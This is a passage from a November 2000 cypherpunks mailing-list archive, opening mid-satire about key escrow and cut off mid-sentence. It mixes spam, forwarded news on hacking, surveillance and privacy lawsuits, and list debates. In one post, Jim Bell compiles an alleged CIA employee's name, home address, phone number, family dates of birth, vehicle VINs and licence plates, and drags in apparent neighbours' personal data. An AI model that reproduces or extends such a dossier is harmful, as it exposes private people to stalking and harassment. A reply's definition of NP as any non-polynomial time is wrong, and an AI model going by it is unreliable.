caterpillar, who responded by blowing a lungful of hookah smoke in her face. "THESE two goons only deal with the dangers of the Queen of Hearts and her soldiers, I have to worry about the domestic situation. So we came up with a solution. There are certain unscrupulous locals who engage in terrible things, terrorism, drug dealing, child molestation, money laundering ... we have to be able to catch them. If they had wheels, they could outrun us. But if we had ACCESS to those wheels when we needed it ... by the way, speaking of drug dealers, we know about that mushroom, and the pills. You might want to think really hard about playing ball with us, the Queen of Hearts is rather fond of cutting off dope addict's heads." "Access to wheels? Does that have anything to do with those ropes hanging off the back of those carts?" "Yup. We pull on that rope, the wheels fall off. And since we may have to stop a LOT of people at one time, we could have a riot, or another Butthole Surfers concert, we figure that we should be able to stop about ten percent of the population at once, a little less in the rural areas ... well, they've gotta be REALLY LONG ROPES ... and there have to be A WHOLE LOT of them ... course, the ones with the ropes we let have octagonal wheels ... " "But can't just anybody pull the rope? You'll have wheels falling off all over the place." "Price you have to pay for a safe society. Besides, we have trusted third parties holding to to the other end." "How will you get people to use it, when they can get regular wheels from the Cards?" "How else? We could pass a law. But it's easier just to threaten all the wheel dealers - put the rope on or we shut you down. Spread the word that only criminals don't use ropes - what are you afraid of? Got something to hide? Eventually we'll have to outlaw the round wheel, of course, but for the time being, some creative social engineering should do the trick." The caterpillar took another long drag on the hookah. "Good shit. Dole was right about this stuff." "But can't people get real wheels for free?" "Sure, we've pulled off enough they're lying around all over the place. But then you need an axle, bearings, steering - most people still just go down and buy the whole package. We get them, we're in - guy up in Seattle makes something like 90% of all carts sold here, you should see the shit we've got on HIM! No problemo. And those idiots at Netscape - we've got them doing a complete background check on anybody who wants a round wheel - come back in five days, and maybe you can have it." "So, Alice, are you learning anything?" Alice liked the Cheshire Cat, but it did have very sharp teeth, and very long claws, and it did have the habit of appearing out of nothing. Alice felt that it should be treated with respect. "Not really, your cattiness. It doesn't make any sense at all!" "It isn't supposed to. You have to look at it the right way. From their perspective, it makes perfect sense." "I'm confused." "Don't worry about it. It gets worse before it gets better. Come on, we're going to a party. Tim May and John Gilmore are throwing a Mad Tea Party." "Are they really mad?" "May's crazy as a loon. You'll like him. Gilmore, he's just still pissed at Shimamura for that stunt in the hot tub ... " From Mary at cyberpass.net Fri Nov 3 20:21:12 2000 From: Mary at cyberpass.net (Mary at cyberpass.net) Date: Fri, 3 Nov 2000 23:21:12 -0500 Subject: CDR: Ebay4Sex Gets Laid Message-ID: <20001104042111.GNZE625.tomts8-srv.bellnexxia.net@cyberpass.net> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 1246 bytes Desc: not available URL: From Mary at sirius.infonex.com Fri Nov 3 20:21:18 2000 From: Mary at sirius.infonex.com (Mary at sirius.infonex.com) Date: Fri, 3 Nov 2000 23:21:18 -0500 Subject: CDR: Ebay4Sex Gets Laid Message-ID: <20001104042117.NEZP20301.tomts7-srv.bellnexxia.net@infonex.com> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 1246 bytes Desc: not available URL: From feedback at tapdirect.com Fri Nov 3 21:40:10 2000 From: feedback at tapdirect.com (feedback at tapdirect.com) Date: Fri, 3 Nov 2000 23:40:10 -0600 (CST) Subject: CDR: Home Improvement Help Message-ID: <39226547.TN64C1W9@tapdirect.com> Your Home improvement update from tapdirect. Download a FREE sample article on kitchen layout and design at: http://www.tapdirect.com/request_article.asp Find Hundreds of money saving insider tips from professionals on remodeling and home improvement; how to get supplies & appliances at 35% off and tools at half price at: http://www.tapdirect.com/kitchentips.htm YouCanSave.com for unique and handy products for your home and office at: http://store.yahoo.com/cgi-bin/clink?youcansave+Pd6xYX+index.html Design and complete interior and exterior tile projects on walls, floors, countertops, shower enclosures, patios, pools, and more at: http://www.tapdirect.com/tile.htm If you would like to be removed from future home improvement updates, click on this link and send a blank email to: mailto:feedback at tapdirect.com?subject=remove From feedback at tapdirect.com Fri Nov 3 21:40:13 2000 From: feedback at tapdirect.com (feedback at tapdirect.com) Date: Fri, 3 Nov 2000 23:40:13 -0600 (CST) Subject: CDR: Home Improvement Help Message-ID: Your Home improvement update from tapdirect. Download a FREE sample article on kitchen layout and design at: http://www.tapdirect.com/request_article.asp Find Hundreds of money saving insider tips from professionals on remodeling and home improvement; how to get supplies & appliances at 35% off and tools at half price at: http://www.tapdirect.com/kitchentips.htm YouCanSave.com for unique and handy products for your home and office at: http://store.yahoo.com/cgi-bin/clink?youcansave+Pd6xYX+index.html Design and complete interior and exterior tile projects on walls, floors, countertops, shower enclosures, patios, pools, and more at: http://www.tapdirect.com/tile.htm If you would like to be removed from future home improvement updates, click on this link and send a blank email to: mailto:feedback at tapdirect.com?subject=remove From George at Orwellian.Org Fri Nov 3 21:25:33 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Sat, 4 Nov 2000 00:25:33 -0500 (EST) Subject: CDR: More WWW insecurity Message-ID: <200011040525.AAA25072@www2.aa.psiweb.com> Also at the Wired site, but they now have animated advertising that won't stop when you tell it to. (Compaq Proliant crap) ---- http://www.nytimes.com/2000/11/03/technology/03HACK.html November 3, 2000 Hacker Defaces Pro-Israel Web Site By JOHN SCHWARTZ The Web site for the American Israel Public Affairs Committee, a lobbying group, was defaced Wednesday with anti-Israeli commentary - an increasingly common occurrence as the escalating conflict between Israelis and Palestinians has spilled over into cyberspace. But this time the intruders also downloaded some 3,500 e-mail addresses and 700 credit card numbers from the site, sent anti-Israeli diatribes to the mailing list and published the credit card data on the Internet. "This hack is to protest against the atrocities in Palestine by the barbarian Israeli soldiers and their constant support by the U.S. government," said a manifesto that the attackers put in place of the lobbying group's home page. [snip] From anmetet at mixmaster.shinn.net Fri Nov 3 21:40:33 2000 From: anmetet at mixmaster.shinn.net (An Metet) Date: Sat, 4 Nov 2000 00:40:33 -0500 Subject: CDR: Net dad Vint Cerf slams RIP Message-ID: <821da633d483be87db47456ec6c33ade@mixmaster.shinn.net> By: Lucy Sherriff http://www.theregister.co.uk/content/6/14451.html Posted: 03/11/2000 at 11:23 GMT Vinton Cerf, one of the founding fathers of the Internet, has attacked the RIP bill as a dangerous new piece of legislation. Speaking at the Compsec conference in London yesterday he commented: "Oh my god. A lot of us in the US are very worried about the RIP Bill, it has raised some of the same concerns as Carnivore." He said that he acknowledged that it was a matter of balancing an individual's right to privacy with the need to protect society as a whole, but was worried about the circumstances in which it comes into force. As the online population grows the issues of personal privacy and corporate security will become more and more important, he said. Indeed an example is the subject of a public key as a global ID - and the potential for abuse inherent in it. If we are uniquely associated with a number then anyone can use that to find out everything about us including things we might rather they not know. He says that while he "cannot stress enough the importance of a workable public key infrastructure," anyone who believes encryption will solve all the difficult issues in the online world is "clearly insane." Cerf says that the solution to this is to treat it rather like we do credit cards. Use multiple public keys, each one can be uniquely associated with your relationship with a company, rather than with you personally. While stressing that as more business is done online the security and reliability of the net will become synonymous with the security of the economy, with "very serious implications" for a network failure, Cerf is keen to point out some positive trends too. Since 1988 the Internet has been growing at between 90 and 100 per cent every year, and for the first time every country in Africa has some - albeit limited - access to the Internet. By 2009 half the world population is expected to be surfing the web in some form. Things can only get better? We'll see. � From George at Orwellian.Org Fri Nov 3 21:42:25 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Sat, 4 Nov 2000 00:42:25 -0500 (EST) Subject: CDR: The FBI did naughty??? Message-ID: <200011040542.AAA05565@www7.aa.psiweb.com> Found this in Usenet, dunno an URL. Check out paragraph two. ---- > FBI Agent Sues To Report Misconduct > By Michael J. Sniffen > Associated Press Writer > Friday, Nov. 3, 2000; 5:56 p.m. EST > > WASHINGTON -- A 20-year veteran FBI agent went to court Friday seeking > the right to report to President Clinton and key members of Congress > what he considers serious and criminal misconduct by federal workers > during a top secret, undercover national security operation. > > FBI Director Louis Freeh and Deputy Attorney General Eric Holder have > denied agent Joseph G. Rogoskey permission to relay his allegations to > Clinton, Secretary of State Madeleine Albright and House and Senate > committees that oversee the FBI. > > In a lawsuit against the FBI and Justice Department, Rogoskey said > that as an undercover agent he "witnessed acts of serious misconduct > and violation of federal law by employees of the federal government > during the course of their employment." > > FBI spokesman Bill Carter said, "We understand all the allegations of > government misconduct have long been appropriately addressed." > > Now on paid administrative leave, Rogoskey spent 12 years, 1987 > through 1998, on top-secret, undercover operations involving some of > the government's deepest secrets that are accessible only to specified > people. > > Rogoskey is barred from telling his lawyer, Stephen Kohn, any details > of the operation or the alleged misconduct. Kohn said he understands > only that "it doesn't involve anyone stealing money. It involves what > they were ordered and permitted by the government to do in this > operation." > > Like the FBI, Holder advised Rogoskey by letter that he should report > "whistle-blower-type allegations" to internal FBI investigators or > Justice inspector general agents who "have the appropriate security > clearances." > > But Kohn said, "Keeping whistle-blower allegations within the > institution that authorized the misconduct does not serve the public > interest and raises grave constitutional questions." > > Rogoskey first reported his allegations to his immediate supervisor in > late 1997, "promptly upon observing them," Kohn said. "We don't know > if the FBI has fixed the problem," Kohn said, because Rogoskey has > been on leave since the summer of 1998. > > Since making the allegations, the FBI has retaliated against Rogoskey, > the lawsuit said. The suit said this included an allegation of > misconduct against Rogoskey, of which FBI investigators cleared him; > efforts by superiors "to call into question his integrity"; and > recently threatening to fire him for medical reasons if he fails a > fitness for duty exam. > > The FBI's Carter responded: "Any internal disciplinary or other > employment problems Mr. Rogoskey may have experienced are completely > unrelated to providing the earlier allegations." > > Kohn said: "Fitness reviews are extremely intrusive. They include > psychiatric exams, interviews with his wife and examination of his sex > life." > > A fitness exam was ordered of another FBI whistle-blower client of > Kohn's, Frederic Whitehurst, the FBI chemist whose allegations led to > an inspector general's finding the FBI Laboratory engaged in sloppy > science and gave biased testimony for the prosecution. > > "Even though Whitehurst was found fit, the FBI tried to discredit him > with material from the fitness exam," Kohn said. > > Kohn said Rogoskey has applied for workman's compensation because two > doctors concluded he suffers from post-traumatic stress disorder > caused by his work. "He has work-related injuries because they kept > him undercover too long and from the retaliation," Kohn said. > > FBI officials have said that agents who spend long periods undercover > can suffer tensions from maintaining dual personalities. > > In the lawsuit, Rogoskey asked the U.S. District Court here to decide > whether he can transmit his allegations to Clinton, Albright and > congressional oversight committees, to bar the government from > retaliation and to process his workman's compensation claim instead of > ordering a fitness review. > > Because of secrecy rules, Rogoskey submitted his allegations in a > sealed envelope to the FBI's publication review clearance board in May > 1999. > > The agent had no publisher, wasn't seeking compensation and did not > intend to publish the material for the general public, but wanted > permission to send it to the named officials, Kohn said. > > FBI attorney Lyn Brown "denied the permission the next day by phone > and said the information in the envelope should have been transported > by armed guard." Kohn said. Freeh and Holder later upheld that denial. From jimdbell at home.com Sat Nov 4 01:01:34 2000 From: jimdbell at home.com (jim bell) Date: Sat, 4 Nov 2000 01:01:34 -0800 Subject: CDR: CIA in Oregon, Intelink Message-ID: <00cc01c0463d$d5050800$a6d11018@vncvr1.wa.home.com> > > > Would anyone in the Oregon area know about > > > a CIA organization acronymed ISTAC? Doesn't seem to be in the Bend telephone directory, but that woulda been a bit too obvious, huh? > > > > > > Here's the NIC entry, which includes a CIA rep > > > in Bend, OR. Note that the other CIA rep used > > > only a last name initial. > > > > > > Designated Agency Rep, Requester, Sr. Registration > > Official: > > > Mueller, Deforest X. (DXM2) > > > (541) 385-6836 > > > MUELLER at BENDNET.COM > > > Record last updated on 13-Apr-99. > > > Mueller, Deforest X. (DXM2) > > > cia > > > 63350 majestic loop This address is a house in a rather new subdivision in the northern portion of Bend, Oregon. Mapquest actually cannot find this address, and when I look at the actual location (Found with a Pittmon map) the road in question is not even shown yet. Below is a URL which can be fed into Mapquest to retrieve the appropriate (although, admittedly, incomplete) map, pointing to the approximate, correct address of the house.. http://www.mapquest.com/cgi-bin/ia_find?uid=ubxb00e7v962v3pe%3Arglraxq01&lin k=btwn%2Ftwn-map_results&SNVData=3mad3-h.fy%2528wr2hzr_%2529uan1f8n%252495-g 67%253bvj%257c0u6%2Cbb6%257c_gabsu%252bF%2513ZDGVKL%252bCXBW_%2513DLE%253dBC _hzt29%253dyshw%2528%2511E%253ar5uft5%253d%253d2l901s9%253aa%253bteqej%253bf iad%2529jrbl%253bwh%257c2&mouse_mode=move_icon&map.x=430&map.y=222 Two vehicles, Oregon Plates VCV976 and 902ALL are in the driveway. > > > bend, OR 97701 > > > (541) 385-6836 > > > MUELLER at BENDNET.COM > > > > Here is a list of all driver's licenses in Oregon in 1996 that contain > > "DEFOREST". Notice the last entry: [deleted] > > "MUELLER, SCOTT DEFOREST","1823 GARNET PL WA","PO BOX > > 486","CHELAN","WA",60,98816,50,7,10,"M",600,174,"","2005706" > > > > Here is a car for "Scott Deforest Mueller", registered in Oregon but with > > the Chelan, Washington, address. > > ---------- s.txt > > > "SAL903","1","CHEV","SV2","VA","1GBEG25H5G7185373","9535286527",86,1,97,9,16 > > ,"MUELLER, SCOTT DEFOREST",50,7,10,2005706,"MUELLER, KIM > > MARIE",59,11,8,3772314,"1823 GARNET PL WA","PO BOX > > 486","CHELAN","WA",98816,60,"",1,95,12,18,0,0,"","","","","","","",0 > > Notice the DOB's: 7/10/1959 for Scott Mueller, 11/8/1959 for Kim Mueller > > > > And here is the data from 1997 license plates. > > SAL903 1CHEV VA1GBEG25H5G7185373 9535286527861990916MUELLER, SCOTT > > DEFOREST MUELLER, KIM MARIE 20830 DIONE WAY > > BENDPO BOX 486 CHELAN WA9881660 This is probably the previous address for the Mueller's. > Sorry about the extra delay. Very interesting results for year 2000. Looks > like the Muellers got a new Chevy, from SAL903 to the current VCV976 > > "VCV976","1","CHEV","SV2","VA","1GBEG25K3SF156657","9830708131",1995,1,2000, > 8,11,"MUELLER, DEFOREST SCOTT",0,0,0,9638546,"",0,0,0,0,"20830 DIONE > WAY","","BEND","OR",97701,9,"",2,1999,2,11,0,0,"","BANK OF THE > CASCADES","","2542 N HIGHWAY 97 RDMD","PO BOX > 1236","REDMOND","OR",97756,0 > > > Here's an interesting addition. I ran a year 2000 license plate search for > all Oregon plates registered to 20830 Dione Way, Bend OR, and this popped up > as well. > > "WSN592","1","TOYT","RUN","UT","JT3HN86R3X0197687","9829222474",1999,1,2000, > 10,13,"ASHE, JOHN R",1953,4,2,6699949,"ASHE, ANNA > E",1960,1,14,6699973,"20830 DIONE > WAY","","BEND","OR",97701,9,"",1,1999,2,10,0,0,"","","","","","","",0,0 Hypothetically, these may be the current owners of 20830 Dione, Bend, but I am not yet able to confirm this. I wouldn't be surprised to hear that the John Ashe and Mr. Mueller share an employer. > Interestingly enough, GO.COM lists a John Ashe at 8 Todd Ln, Bend, OR, > 97707, phone number 541-593-2784 Which may be here. This is actually in a place called "Sunriver", a rather high-class community of (mostly?) 2nd homes. Perhaps Ashe used to live here: Maybe he was transferred in from whereever, until Mueller moved, leaving room at the Dione address for Ashe. Just a thought. http://www.mapquest.com/cgi-bin/ia_find?link=btwn/twn-map_results&zoom_level =10&uid=ubxb00e7v962v3pe:rglraxq01&SNVData=3mad3-h.fy%28wbghua_%29uanqw25%24 95-g67%3bvj%7c0u6,bb6%7c_gabsu%2bF%13ZDGVKL%2bCXBW_%13DLE%3dBC_hzt29%3dyshw% 28%11E%3arx5f2l%3d%3d2l9wrnq%3aa%3bteqej%3bfiad%29jrbl%3bwh%7c2 I'm curious about who really owns these properties. Jim Bell From anmetet at mixmaster.shinn.net Fri Nov 3 22:09:10 2000 From: anmetet at mixmaster.shinn.net (An Metet) Date: Sat, 4 Nov 2000 01:09:10 -0500 Subject: CDR: FBI Agent Sues To Report Misconduct Message-ID: <0f121982f396282c10810856ab6e9978@mixmaster.shinn.net> By Michael J. Sniffen Associated Press Writer Friday, Nov. 3, 2000; 5:56 p.m. EST WASHINGTON PP A 20-year veteran FBI agent went to court Friday seeking the right to report to President Clinton and key members of Congress what he considers serious and criminal misconduct by federal workers during a top secret, undercover national security operation. FBI Director Louis Freeh and Deputy Attorney General Eric Holder have denied agent Joseph G. Rogoskey permission to relay his allegations to Clinton, Secretary of State Madeleine Albright and House and Senate committees that oversee the FBI. In a lawsuit against the FBI and Justice Department, Rogoskey said that as an undercover agent he "witnessed acts of serious misconduct and violation of federal law by employees of the federal government during the course of their employment." FBI spokesman Bill Carter said, "We understand all the allegations of government misconduct have long been appropriately addressed." Now on paid administrative leave, Rogoskey spent 12 years, 1987 through 1998, on top-secret, undercover operations involving some of the government's deepest secrets that are accessible only to specified people. Rogoskey is barred from telling his lawyer, Stephen Kohn, any details of the operation or the alleged misconduct. Kohn said he understands only that "it doesn't involve anyone stealing money. It involves what they were ordered and permitted by the government to do in this operation." Like the FBI, Holder advised Rogoskey by letter that he should report "whistle-blower-type allegations" to internal FBI investigators or Justice inspector general agents who "have the appropriate security clearances." But Kohn said, "Keeping whistle-blower allegations within the institution that authorized the misconduct does not serve the public interest and raises grave constitutional questions." Rogoskey first reported his allegations to his immediate supervisor in late 1997, "promptly upon observing them," Kohn said. "We don't know if the FBI has fixed the problem," Kohn said, because Rogoskey has been on leave since the summer of 1998. Since making the allegations, the FBI has retaliated against Rogoskey, the lawsuit said. The suit said this included an allegation of misconduct against Rogoskey, of which FBI investigators cleared him; efforts by superiors "to call into question his integrity"; and recently threatening to fire him for medical reasons if he fails a fitness for duty exam. The FBI's Carter responded: "Any internal disciplinary or other employment problems Mr. Rogoskey may have experienced are completely unrelated to providing the earlier allegations." Kohn said: "Fitness reviews are extremely intrusive. They include psychiatric exams, interviews with his wife and examination of his sex life." A fitness exam was ordered of another FBI whistle-blower client of Kohn's, Frederic Whitehurst, the FBI chemist whose allegations led to an inspector general's finding the FBI Laboratory engaged in sloppy science and gave biased testimony for the prosecution. "Even though Whitehurst was found fit, the FBI tried to discredit him with material from the fitness exam," Kohn said. Kohn said Rogoskey has applied for workman's compensation because two doctors concluded he suffers from post-traumatic stress disorder caused by his work. "He has work-related injuries because they kept him undercover too long and from the retaliation," Kohn said. FBI officials have said that agents who spend long periods undercover can suffer tensions from maintaining dual personalities. In the lawsuit, Rogoskey asked the U.S. District Court here to decide whether he can transmit his allegations to Clinton, Albright and congressional oversight committees, to bar the government from retaliation and to process his workman's compensation claim instead of ordering a fitness review. Because of secrecy rules, Rogoskey submitted his allegations in a sealed envelope to the FBI's publication review clearance board in May 1999. The agent had no publisher, wasn't seeking compensation and did not intend to publish the material for the general public, but wanted permission to send it to the named officials, Kohn said. FBI attorney Lyn Brown "denied the permission the next day by phone and said the information in the envelope should have been transported by armed guard." Kohn said. Freeh and Holder later upheld that denial. ) Copyright 2000 The Associated Press From aijp at yahoo.com Sat Nov 4 02:54:44 2000 From: aijp at yahoo.com (Tim Manspin) Date: Sat, 4 Nov 2000 02:54:44 -0800 (PST) Subject: CDR: Fwd: Re: Data havens... Message-ID: <20001104105445.7905.qmail@web2001.mail.yahoo.com> --- Benjamin Reeve wrote: > Date: Tue, 31 Oct 2000 12:13:46 -0500 > Reply-to: Law & Policy of Computer Communications > > From: Benjamin Reeve > Subject: Re: Data havens... > To: CYBERIA-L at LISTSERV.AOL.COM > > Yes. Absolutely. I would similarly argue that the better "data > haven" is > not a distinct "site" of any kind but a structure, indeed in the case > of a > network, a network distributed structure. > > People appear not to create such things just because people minds > think > according to particular conventionalities, most of them phyiscalistic > The > same set of presuppositions that gives us an auction "site" (e-bay) > when > the nature of the thing sought be to accomplished is a market/network > thing > (everybody gets a buy/sell client just as everybody gets an e-mail > client > and a network marketplace develops), gets people to think that the > way to > make informational "havens" is mostly like the way physical safes and > vaults (and closets and...) work. > > Every informational thing must be embedded in a physical thing and to > take > out the physical entity is to compromise the information embedded in > it, > true enough. But that does not mean that informational things act, > or are > "protected," in the way physical things are. > > The data havens of the moment appear organized to attract the > physicalistic > mindset, not the genuine dynamics of what might be informtional > protection. > > > At 09:28 AM 10/31/00 -0500, you wrote: > > >-----Original Message----- > > >From: Bill Stewart [mailto:bill.stewart at POBOX.COM] > > >Sent: Tuesday, October 31, 2000 2:39 AM > > >To: CYBERIA-L at LISTSERV.AOL.COM > > >Subject: Re: Data havens...PH-B > > > > > > > > > > > > >Havenco is playing different games - providing a location for > > >servers running traffic analysis protection, > > > >To help thwart traffic analysis, shouldn't havens also become loci > for the > >origination of spam and for popular free sites (porn, sports, > whatever) to > >generate lots of basically benign in- and out-flow, within which the > >"substantive" messages of folks who really need a haven can hide? > > > >Chris S. > > > > > >*************************************************************************** > >This electronic mail transmission may contain confidential or > >privileged information. If you believe that you have received the > >message in error, please notify the sender by reply transmission > >and delete the message without copying or disclosing it. > >*************************************************************************** > > Benjamin Reeve __________________________________________________ Do You Yahoo!? Thousands of Stores. Millions of Products. All in one Place. http://shopping.yahoo.com/ From petro at bounty.org Sat Nov 4 03:04:10 2000 From: petro at bounty.org (petro) Date: Sat, 4 Nov 2000 03:04:10 -0800 Subject: CDR: RE: The Market for Privacy In-Reply-To: <01bfad76b9a499d7f55a43586ec6f3e3@remailer.ch> References: <01bfad76b9a499d7f55a43586ec6f3e3@remailer.ch> Message-ID: >Lucky Green wrote: > >> It appears that ZKS is yet another company that fell prey to the DigiCash >> "we know better than the market what the market wants" syndrome. What a >> shame, really. > >What does the market want? SEX!!! -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From nobody at remailer.ch Fri Nov 3 19:33:03 2000 From: nobody at remailer.ch (Anonymous) Date: 4 Nov 2000 03:33:03 -0000 Subject: CDR: HavenCo? Message-ID: http://www.havenco.com/products_and_services/index.html "beta launch in Q3 2000" ? From nobody at remailer.privacy.at Fri Nov 3 20:18:02 2000 From: nobody at remailer.privacy.at (Anonymous) Date: Sat, 4 Nov 2000 05:18:02 +0100 Subject: CDR: algore ad Message-ID: I just made the mistake of turning on the television and caught the tail end of an algore ad slamming GW for his views on HMOs or somesuch. [Breathy female voice:] "Is it any surprise? Just look at Texas -- second to last in women and children without health insurance..." I would parse that to mean that Texas has some of the *highest* rates of insurance among women-and-children. Perhaps the portion of my brain which should control knee-jerk responses to black and white photographs of little hispanic girls with maudlin background music was replaced with basic logic rules when I wasn't looking. Silly me. From nobody at remailer.privacy.at Fri Nov 3 20:41:03 2000 From: nobody at remailer.privacy.at (Anonymous) Date: Sat, 4 Nov 2000 05:41:03 +0100 Subject: CDR: Re: The Ant and the Grasshopper In-Reply-To: <00f001c04610$23093180$0100a8c0@nandts> Message-ID: <55b58b07e0c37bf2d7ffad407d2f64af@remailer.privacy.at> "Neil Johnson" wrote: > I was watching "The Big Comfy Couch" (a children's show on PBS) with my > three year old. Their revision of the fable was to have the ants invite the > grasshopper in to their home for the winter because they realized they had > no music to sing or dances to do. It's his private property and he can invite whoever he wants. Whats your problem? :) From George at Orwellian.Org Sat Nov 4 04:31:06 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Sat, 4 Nov 2000 07:31:06 -0500 (EST) Subject: CDR: Suing for SS# exposure Message-ID: <200011041231.HAA05799@www1.aa.psiweb.com> Can't Tim May sue if he finds his SS# exposed? ---- http://www.foxnews.com/national/110300/va_privacy.sml Veterans Department Sued By Employees Over Privacy Breach Friday, November 3, 2000 By D. Ian Hopper WASHINGTON - Department of Veterans Affairs employees are suing the government, accusing the VA of breaching their privacy by giving fellow workers and some patients access to their Social Security numbers and dates of birth. The class-action suit on behalf of the VA's 180,000 employees seeks $1,000 for each one, the minimum amount under the 1974 Privacy Act. If successful, that would total about $180 million. The suit says that through an internal patient record system, employees' personal information appeared along with the medical information on patients. Workers at any VA facility could check up on VA workers anywhere else, said the lawsuit filed in U.S. District Court in Wisconsin last month. It said there were no warning screens or logs of who accessed the information. [snip] From polishkamil at home.com Sat Nov 4 08:43:21 2000 From: polishkamil at home.com (Kamil Wisniewski) Date: Sat, 04 Nov 2000 08:43:21 -0800 Subject: CDR: question Message-ID: <3A043CA9.B37BFBF1@home.com> -------------- next part -------------- Hello my name is Kamil Wisniewsk, I do not know if i found the right internet site, but I am looking for software that crates voices depending on measurements of an individuals body. For example if I would like to have Bill Clintons voice i would type in the measurements of his body, and the software would calculate his speech pattern. If you may know any thing about this technology I would greatly appreciate it. From polishkamil at home.com Sat Nov 4 08:44:42 2000 From: polishkamil at home.com (Kamil Wisniewski) Date: Sat, 04 Nov 2000 08:44:42 -0800 Subject: CDR: question Message-ID: <3A043CFA.19D7C4B1@home.com> -------------- next part -------------- Hello my name is Kamil Wisniewsk, I do not know if i found the right internet site, but I am looking for software that crates voices depending on measurements of an individuals body. For example if I would like to have Bill Clintons voice i would type in the measurements of his body, and the software would calculate his speech pattern. If you may know any thing about this technology I would greatly appreciate it. From tcmay at got.net Sat Nov 4 09:06:13 2000 From: tcmay at got.net (Tim May) Date: Sat, 4 Nov 2000 09:06:13 -0800 Subject: CDR: Re: RISKS: New Jersey shuts down E-ZPass statement site after security breached In-Reply-To: <3.0.5.32.20001103193558.00a61100@idiom.com> References: <3.0.5.32.20001103193558.00a61100@idiom.com> Message-ID: At 7:35 PM -0800 11/3/00, Bill Stewart wrote: >the following pleasant article on privacy was on RISKS. > >Date: Tue, 24 Oct 2000 11:19:44 -0400 (EDT) >From: danny burstein >Subject: EZ-Pass discovers risk of sending URLs instead of actual text > > TRENTON, N.J. (AP) -- A security breach has forced New Jersey > officials to temporarily shut down a service that allows E-ZPass users > to get monthly statements via e-mail. > > Reagoso said Monday that it wasn't hard to break into the system. An act which is now ipso facto illegal under the "Illegal to Break, Analyze, or Reverse-Engineer a Security Program or System Act of 2000." "It's to help protect the children." --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From k.brown at ccs.bbk.ac.uk Sat Nov 4 01:43:14 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Sat, 04 Nov 2000 09:43:14 +0000 Subject: CDR: Re: Tim May's anti-semitic rants References: Message-ID: <3A03DA32.8EBF52D3@ccs.bbk.ac.uk> Jim Choate wrote: > Yes you have, the 'government' are the poeple. This schizo view of > government as if it was some stand alone entity that decends from the > heavens to enslave mankind is what is bullshit. And happens to describe the real situation for most people in the world, most of the time. Criticise the British government all you want in front of me. I'll happily agree that they are better than three-quarters of the governments in the world - for that matter better than the last 50 years of government in the UK - but that doesn't mean that they have got it anywhere near right or that I support most of what they do. I might *vote* for them but that might be mainly to keep the other lot out. I might even be a member of the same political party as the government - but that cold be for quite other reasons. But I don't personally identify with them in any way. Your criticism of them is unlikely to upset, worry, or offend me. (& even if it did that's no reason for you not to make it) From ravage at ssz.com Sat Nov 4 09:02:38 2000 From: ravage at ssz.com (Jim Choate) Date: Sat, 4 Nov 2000 11:02:38 -0600 (CST) Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: <20001104114153.B25543@cluebot.com> Message-ID: On Sat, 4 Nov 2000, Declan McCullagh wrote: > "NP" problems, on the other hand, are those that can be solved in > nondeterministic polynomial time (think only by guessing). NP > includes P. Actualy any time that can't be described using a polynomial (i.e. a0 + a1x + a2x^2 + ...) is NP. For example something that executes in factorial or exponential time is NP. If it is found that all NP can be reduced to P then I'd expect to see somebody be able to express a factorial (for example) as a polynomial. I ain't holding my breath. The 'nondeterministic' part simply means it's unknown if the problem can be reduced to a polynomial representation. As to 'guessing', some processes are polynomial and some aren't. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From declan at well.com Sat Nov 4 08:24:04 2000 From: declan at well.com (Declan McCullagh) Date: Sat, 4 Nov 2000 11:24:04 -0500 Subject: CDR: Re: The Market for Privacy In-Reply-To: ; from petro@bounty.org on Sat, Nov 04, 2000 at 03:04:10AM -0800 References: <01bfad76b9a499d7f55a43586ec6f3e3@remailer.ch> Message-ID: <20001104112404.A25543@cluebot.com> And anonymous ways to pay for it/obtain it online... -Declan On Sat, Nov 04, 2000 at 03:04:10AM -0800, petro wrote: > >Lucky Green wrote: > > > >> It appears that ZKS is yet another company that fell prey to the DigiCash > >> "we know better than the market what the market wants" syndrome. What a > >> shame, really. > > > >What does the market want? > > SEX!!! > -- > A quote from Petro's Archives: > ********************************************** > "Despite almost every experience I've ever had with federal > authority, I keep imagining its competence." > John Perry Barlow > From declan at well.com Sat Nov 4 08:41:53 2000 From: declan at well.com (Declan McCullagh) Date: Sat, 4 Nov 2000 11:41:53 -0500 Subject: CDR: Re: Minesweeper and defeating modern encryption technology In-Reply-To: <00110319460300.00269@elevator>; from he-who-watches@gmx.de on Fri, Nov 03, 2000 at 07:40:51PM +0100 References: <59816DD7DAE9D11184E400104B66A353055547C9@cobra.netsolve.net> <00110319460300.00269@elevator> Message-ID: <20001104114153.B25543@cluebot.com> It's been a long time since my computer science classes. But I'll give it a shot. The general name for this topic is complexity theory, the study of how inherently difficult certain classes of problems are to solve. Perhaps a not unreasonable summary would be problems in the class "P" can be solved in deterministic polynomial time. Some of these would include problems like simple sorting of strings that your OS does whenever it displays files in a directory. "NP" problems, on the other hand, are those that can be solved in nondeterministic polynomial time (think only by guessing). NP includes P. Of relevance to our discussion is that factoring is a NP problem. Much of modern cryptography relies on factoring being a "hard" problem. If it is not, things will get interesting quickly. :) Arnold Reinhold has another view here, saying P=NP is not relevant to crypto: http://world.std.com/~reinhold/p=np.txt -Declan (PS: don't use the toad.com address) On Fri, Nov 03, 2000 at 07:40:51PM +0100, Olav wrote: > Perhaps someone could explain this P vs. NP stuff to a normal > not-yet-student? > And, this program, what features are required to prove his theory? > > > Thanks in advance, > Olav > > > On Thu, 02 Nov 2000, you wrote: > > >http://digitalmass.boston.com/news/daily/11/01/minesweeper.html > > > > >from the article: > > "Proving the conjecture false would mean that modern encryption technology, > > the foundation of electronic commerce, would be 